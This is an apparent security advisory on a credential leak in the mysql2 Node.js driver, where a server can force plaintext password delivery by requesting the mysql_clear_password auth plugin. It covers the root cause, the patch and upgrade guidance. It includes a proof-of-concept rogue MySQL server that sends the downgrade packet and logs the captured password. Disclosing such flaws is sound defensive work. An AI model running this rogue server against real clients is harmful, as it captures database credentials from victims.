mysql2: Auth Plugin Downgrade Leaks Plaintext Credentials
A rogue MySQL server or network attacker can trick the mysql2 Node.js driver into sending your database password in plaintext by requesting a switch to the mysql_clear_password auth plugin, which the…

The problem
The mysql2 driver registered mysql_clear_password as a standard auth plugin in lib/commands/auth_switch.js. Any server sending an AuthSwitchRequest (packet type 0xFE) naming that plugin would receive the client password as password + '\0' in plaintext.
No TLS check existed. The caching_sha2_password plugin in the same codebase does verify SSL before sending cleartext, but mysql_clear_password had no equivalent guard. A rogue server or MITM could downgrade auth mid-handshake and capture credentials from any non-TLS connection.
Proof of concept
A working proof-of-concept for this issue in mysql2, with the exact payload below.
// Minimal rogue-server AuthSwitchRequest that triggers the vuln (pre-3.22.0)
// Attacker sends this after the initial handshake to downgrade auth:
//
// Packet layout (raw bytes):
// [4 bytes] MySQL packet header (length + seq)
// [1 byte] 0xFE (AuthSwitchRequest marker)
// [n bytes] 'mysql_clear_password\0' (plugin name, null-terminated)
// [1 byte] 0x00 (empty plugin data)
//
// mysql2 < 3.22.0 executes mysql_clear_password plugin unconditionally:
// return Buffer.from(password + '\0') // plaintext credential on the wire
//
// Rogue server skeleton (Node.js net module):
const net = require('net');
net.createServer(socket => {
// 1. Send MySQL server greeting (caching_sha2_password)
socket.write(buildServerGreeting('caching_sha2_password'));
socket.once('data', () => {
// 2. After client sends hashed response, send AuthSwitchRequest
// to mysql_clear_password -- victim driver complies with no TLS check
const pluginName = Buffer.from('mysql_clear_password\0');
const payload = Buffer.concat([Buffer.from([0xfe]), pluginName, Buffer.from([0x00])]);
socket.write(buildPacket(payload, /* seq */ 2));
socket.once('data', data => {
// 3. Captured: password in plaintext (null-terminated)
const password = data.slice(4, -1).toString();
console.log('Captured plaintext password:', password);
});
});
}).listen(3306);The root cause is that mysql_clear_password was included in standardAuthPlugins with no opt-in gate and no transport check. Because the MySQL protocol allows a server to request any auth plugin at any time via AuthSwitchRequest, this gave any reachable server the power to force cleartext credential delivery.
The patch (PR #4236, commit 884bec5) removed the plugin from standardAuthPlugins entirely and introduced an enableCleartextPlugin connection option (default false). Without the flag set, the driver now throws MYSQL_CLEAR_PASSWORD_NOT_ENABLED instead of complying.
This matches how the official MySQL C client has handled the same issue since 2012 (requiring explicit opt-in via LIBMYSQL_ENABLE_CLEARTEXT_PLUGIN).
The fix
Upgrade mysql2 to 3.22.0 or later. The mysql_clear_password plugin is now disabled by default. If your environment genuinely requires it (PAM, AWS RDS IAM tokens), set enableCleartextPlugin: true in your connection config and ensure the connection uses TLS or a Unix socket.
Never enable it over an unencrypted TCP connection.
Related research
- high · 7.5CVE-2026-55215CVE-2026-55215: mariadb (npm) Cleartext Password Leak to MitM via Late SSL Fingerprint Check
- high · 7.5CVE-2026-55553CVE-2026-55553: urllib Cross-Origin Redirect Credential Leakage
- high · 7.4CVE-2026-54660CVE-2026-54660: swagger-typescript-api Authorization Token Exfiltration via Cross-Origin $ref
- high · 7.5CVE-2026-73089CVE-2026-73089: browserslist Unbounded Cache Memory Exhaustion (DoS)